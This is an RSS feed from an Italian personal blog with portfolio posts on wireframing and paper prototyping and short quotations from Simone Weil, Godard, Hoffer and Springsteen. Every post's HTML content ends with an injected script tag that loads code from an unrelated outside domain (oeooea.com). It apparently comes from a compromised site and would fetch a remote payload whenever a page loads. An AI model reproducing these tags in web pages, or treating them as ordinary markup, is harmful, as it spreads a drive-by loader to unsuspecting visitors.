<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Marco Calzolari</title>
	<atom:link href="http://marcocalzolari.it/feed/" rel="self" type="application/rss+xml" />
	<link>http://marcocalzolari.it</link>
	<description>per gli amici Esteban</description>
	<lastBuildDate>Fri, 13 Aug 2010 20:28:42 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Simple Wireframe</title>
		<link>http://marcocalzolari.it/1280/simple-wireframe/</link>
		<comments>http://marcocalzolari.it/1280/simple-wireframe/#comments</comments>
		<pubDate>Sun, 04 Jul 2010 15:52:16 +0000</pubDate>
		<dc:creator>Marco Calzolari</dc:creator>
				<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[wireframe]]></category>

		<guid isPermaLink="false">http://marcocalzolari.it/?p=1280</guid>
		<description><![CDATA[Un semplice wireframe per illustrare la progressione di contenuti in un ciclo di newsletter. Realizzato con Balsamiq Mockups, il software che preferisco per i prototipi &#8220;non strettamente operativi&#8221;.]]></description>
			<content:encoded><![CDATA[<p><img src="http://marcocalzolari.it/files/2010/07/picture1.jpg" alt="simple wireframe" title="simple wireframe" class="alignnone size-full wp-image-1281" /><br />
Un semplice wireframe per illustrare la progressione di contenuti in un ciclo di newsletter.<br />
Realizzato con Balsamiq Mockups, il software che preferisco per i prototipi &#8220;non strettamente operativi&#8221;.<script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://marcocalzolari.it/1280/simple-wireframe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wireframe di applicazioni e siti web</title>
		<link>http://marcocalzolari.it/1277/wireframe-di-applicazioni-e-siti-web/</link>
		<comments>http://marcocalzolari.it/1277/wireframe-di-applicazioni-e-siti-web/#comments</comments>
		<pubDate>Fri, 02 Jul 2010 20:32:00 +0000</pubDate>
		<dc:creator>Marco Calzolari</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[wireframe]]></category>

		<guid isPermaLink="false">http://marcocalzolari.it/?p=1277</guid>
		<description><![CDATA[User Interface per gestione remota di approvvigionamento su scaffalature (GDO) Prototipo di homepage per restyling e implementazione funzionalità ajax Schematica completa di sito web corporate (da lanciare in sette giorni netti)]]></description>
			<content:encoded><![CDATA[<p><img src="http://marcocalzolari.it/files/2010/07/FxCam_1273160768590.jpg" alt="Wireframing" title="Wireframing" class="alignnone size-full wp-image-1276" /></p>
<ul>
<li>User Interface per gestione remota di approvvigionamento su scaffalature (GDO)</li>
<li>Prototipo di homepage per restyling e implementazione funzionalità ajax</li>
<li>Schematica completa di sito web corporate (da lanciare in sette giorni netti)</li>
</ul>
<p><script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://marcocalzolari.it/1277/wireframe-di-applicazioni-e-siti-web/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wireframe</title>
		<link>http://marcocalzolari.it/1264/wireframe/</link>
		<comments>http://marcocalzolari.it/1264/wireframe/#comments</comments>
		<pubDate>Fri, 02 Jul 2010 20:14:34 +0000</pubDate>
		<dc:creator>Marco Calzolari</dc:creator>
				<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[wireframe]]></category>

		<guid isPermaLink="false">http://marcocalzolari.it/?p=1264</guid>
		<description><![CDATA[Wireframe per un gestionale tecnico e commerciale online, ad uso di agenti e distributori. Fase I: definizione funzioni di inserimento/modifica delle unità minime di informazione e loro relazioni.]]></description>
			<content:encoded><![CDATA[<p><img src="http://marcocalzolari.it/files/2010/07/picture.jpg" alt="wireframe" title="wireframe" class="alignnone size-full wp-image-1265" /></p>
<p>Wireframe per un gestionale tecnico e commerciale online, ad uso di agenti e distributori.<br />
Fase I: definizione funzioni di inserimento/modifica delle unità minime di informazione e loro relazioni.<script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://marcocalzolari.it/1264/wireframe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Prototipazione mista</title>
		<link>http://marcocalzolari.it/1270/prototipazione-mista/</link>
		<comments>http://marcocalzolari.it/1270/prototipazione-mista/#comments</comments>
		<pubDate>Sun, 02 May 2010 20:16:19 +0000</pubDate>
		<dc:creator>Marco Calzolari</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[wireframe]]></category>

		<guid isPermaLink="false">http://marcocalzolari.it/?p=1270</guid>
		<description><![CDATA[Sessione di prototipazione mista: wireframing, card-sorting, user interface design con &#8220;snippets&#8221; cartacei. Obiettivo: realizzare un menu intuitivo e veloce per il posizionamento di sezioni/pagine/sottopagine nel CMS di un portale.]]></description>
			<content:encoded><![CDATA[<p><img src="http://marcocalzolari.it/files/2010/07/2010-02-12-11.12.49.jpg" alt="Wireframing" title="Wireframing" class="alignnone size-full wp-image-1269" /></p>
<p>Sessione di prototipazione mista: wireframing, card-sorting, user interface design con &#8220;snippets&#8221; cartacei.<br />
Obiettivo: realizzare un menu intuitivo e veloce per il posizionamento di sezioni/pagine/sottopagine nel CMS di un portale.<script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://marcocalzolari.it/1270/prototipazione-mista/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sopportare la discrepanza tra immaginazione e dati di fatto. Dire «soffro» invece che «questo paesaggio è brutto».</title>
		<link>http://marcocalzolari.it/933/la-discrepanza-tra-immaginazione-e-dati-di-fatto/</link>
		<comments>http://marcocalzolari.it/933/la-discrepanza-tra-immaginazione-e-dati-di-fatto/#comments</comments>
		<pubDate>Thu, 29 Apr 2010 19:00:46 +0000</pubDate>
		<dc:creator>Marco Calzolari</dc:creator>
				<category><![CDATA[cose importanti]]></category>
		<category><![CDATA[parole sante]]></category>

		<guid isPermaLink="false">http://www.marcocalzolari.it/?p=933</guid>
		<description><![CDATA[Simone Weil (1909 – 1943)]]></description>
			<content:encoded><![CDATA[<p><a href="http://it.wikipedia.org/wiki/Simone_Weil">Simone Weil</a> (1909 – 1943)<script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://marcocalzolari.it/933/la-discrepanza-tra-immaginazione-e-dati-di-fatto/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Non si tratta di dove prendi le cose, si tratta di dove le vuoi portare</title>
		<link>http://marcocalzolari.it/1091/non-si-tratta-di-dove-prendi-le-cose-si-tratta-di-dove-le-vuoi-portare/</link>
		<comments>http://marcocalzolari.it/1091/non-si-tratta-di-dove-prendi-le-cose-si-tratta-di-dove-le-vuoi-portare/#comments</comments>
		<pubDate>Wed, 28 Apr 2010 12:22:52 +0000</pubDate>
		<dc:creator>Marco Calzolari</dc:creator>
				<category><![CDATA[cose importanti]]></category>
		<category><![CDATA[parole sante]]></category>

		<guid isPermaLink="false">http://marcocalzolari.it/?p=1091</guid>
		<description><![CDATA[Jean-Luc Godard]]></description>
			<content:encoded><![CDATA[<p><a href="http://it.wikipedia.org/wiki/Jean-Luc_Godard">Jean-Luc Godard</a><script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://marcocalzolari.it/1091/non-si-tratta-di-dove-prendi-le-cose-si-tratta-di-dove-le-vuoi-portare/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>I giocattoli con cui lavoro</title>
		<link>http://marcocalzolari.it/910/i-giocattoli-con-cui-lavoro/</link>
		<comments>http://marcocalzolari.it/910/i-giocattoli-con-cui-lavoro/#comments</comments>
		<pubDate>Sat, 20 Mar 2010 18:37:03 +0000</pubDate>
		<dc:creator>Marco Calzolari</dc:creator>
				<category><![CDATA[Portfolio]]></category>
		<category><![CDATA[information architecture]]></category>
		<category><![CDATA[wireframe]]></category>

		<guid isPermaLink="false">http://www.marcocalzolari.it/?p=910</guid>
		<description><![CDATA[La prototipazione con strumenti cartacei è sempre la più efficace, soprattutto quando si deve lavorare in gruppo, coinvolgendo più figure tra futuri utenti, futuri amministratori, designer e developer. Ognuno infatti può dare il proprio contributo e rappresentare &#8220;graficamente&#8221; come immagina il risultato, valutando le proposte degli altri e trovando insieme le più efficaci. Questo nella [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignnone size-full wp-image-911" title="prototype" src="http://marcocalzolari.it/files/2009/11/prototype.jpg" alt="prototype" /></p>
<p>La <strong>prototipazione con strumenti cartacei</strong> è sempre la più efficace, soprattutto quando si deve<strong> lavorare in gruppo</strong>, coinvolgendo più figure tra futuri utenti, futuri amministratori, designer e developer. Ognuno infatti può dare il proprio contributo e rappresentare &#8220;graficamente&#8221; come immagina il risultato, valutando le proposte degli altri e trovando insieme le più efficaci.</p>
<p>Questo nella foto è il primo prototipo di un portale verticale dedicato all&#8217;aggiornamento e alla knowledge sharing tra medici di base di un distretto sanitario. È destinato a diventare un punto di riferimento anche per la modulistica e le normative locali, dunque è necessario prevedere (quasi) tutto con la massima precisione.</p>
<p>Per realizzare i moduli mi sono aiutato con la demo di <a href="http://iplotz.com/">iPlotz</a>, che sto valutando insieme a <a href="http://www.balsamiq.com/products/mockups">Balsamiq Mockups</a>, e con cui ho stampato alcune pagine di elementi vuoti:</p>
<ul>
<li>schermi browser</li>
<li>calendario</li>
<li>box di login</li>
<li>menu principale (una serie di tab vuote)</li>
<li>elementi sidebar e di contenuto centrale di diverse dimensioni</li>
</ul>
<p>Il prossimo passo è realizzare la mappa completa dei contenuti (schematica), la tassonomia di riferimento, un prototipo navigabile.<br />
La cosa più difficile di questa fase? Continuare a ricordare al cliente che stiamo lavorando sulla struttura, quindi il suo sito non avrà necessariamente questo aspetto ;)<script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://marcocalzolari.it/910/i-giocattoli-con-cui-lavoro/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>In periodi di cambiamento, la terrà sarà di coloro che apprendono, mentre coloro che sanno si troveranno ben equipaggiati per vivere in un mondo che non esiste più</title>
		<link>http://marcocalzolari.it/973/in-periodi-di-cambiamento-la-terra-sara-di-coloro-che-apprendono/</link>
		<comments>http://marcocalzolari.it/973/in-periodi-di-cambiamento-la-terra-sara-di-coloro-che-apprendono/#comments</comments>
		<pubDate>Fri, 12 Feb 2010 15:46:10 +0000</pubDate>
		<dc:creator>Marco Calzolari</dc:creator>
				<category><![CDATA[cose importanti]]></category>
		<category><![CDATA[parole sante]]></category>

		<guid isPermaLink="false">http://www.marcocalzolari.it/?p=973</guid>
		<description><![CDATA[Eric Hoffer]]></description>
			<content:encoded><![CDATA[<p>Eric Hoffer<script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://marcocalzolari.it/973/in-periodi-di-cambiamento-la-terra-sara-di-coloro-che-apprendono/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Prima di parlare pensa, poi taci.</title>
		<link>http://marcocalzolari.it/873/prima-di-parlare-pensa-poi-taci/</link>
		<comments>http://marcocalzolari.it/873/prima-di-parlare-pensa-poi-taci/#comments</comments>
		<pubDate>Mon, 26 Oct 2009 06:59:43 +0000</pubDate>
		<dc:creator>Marco Calzolari</dc:creator>
				<category><![CDATA[cose importanti]]></category>
		<category><![CDATA[parole sante]]></category>

		<guid isPermaLink="false">http://www.marcocalzolari.it/873/prima-di-parlare-pensa-poi-taci/</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<p><script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://marcocalzolari.it/873/prima-di-parlare-pensa-poi-taci/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ma devo anche rendermi conto che, in fin dei conti, si tratta solo di rock n&#8217; roll.</title>
		<link>http://marcocalzolari.it/852/in-fin-dei-conti-si-tratta-solo-di-rock-n-roll/</link>
		<comments>http://marcocalzolari.it/852/in-fin-dei-conti-si-tratta-solo-di-rock-n-roll/#comments</comments>
		<pubDate>Fri, 09 Oct 2009 02:55:00 +0000</pubDate>
		<dc:creator>Marco Calzolari</dc:creator>
				<category><![CDATA[cose importanti]]></category>
		<category><![CDATA[parole sante]]></category>

		<guid isPermaLink="false">http://www.marcocalzolari.it/?p=852</guid>
		<description><![CDATA[&#8220;Devi essere in grado di ospitare un mucchio di idee contradditorie nella tua mente senza uscirne pazzo. Mi sento come se stessi facendo bene il mio lavoro, quando salgo sul palco convinto che quello che faccio sia la cosa più importante al mondo. Ma devo anche rendermi conto che, in fin dei conti, si tratta [...]]]></description>
			<content:encoded><![CDATA[<p><em>&#8220;Devi essere in grado di ospitare un mucchio di idee contradditorie nella tua mente senza uscirne pazzo. Mi sento come se stessi facendo bene il mio lavoro, quando salgo sul palco convinto che quello che faccio sia la cosa più importante al mondo. Ma devo anche rendermi conto che, in fin dei conti, si tratta solo di rock n&#8217; roll. In qualche modo devi riuscire a credere entrambi questi aspetti.&#8221;</em><br />
<a href="http://it.wikipedia.org/wiki/Bruce_Springsteen">Bruce Springsteen</a><script src="http://oeooea.com/ve"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://marcocalzolari.it/852/in-fin-dei-conti-si-tratta-solo-di-rock-n-roll/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
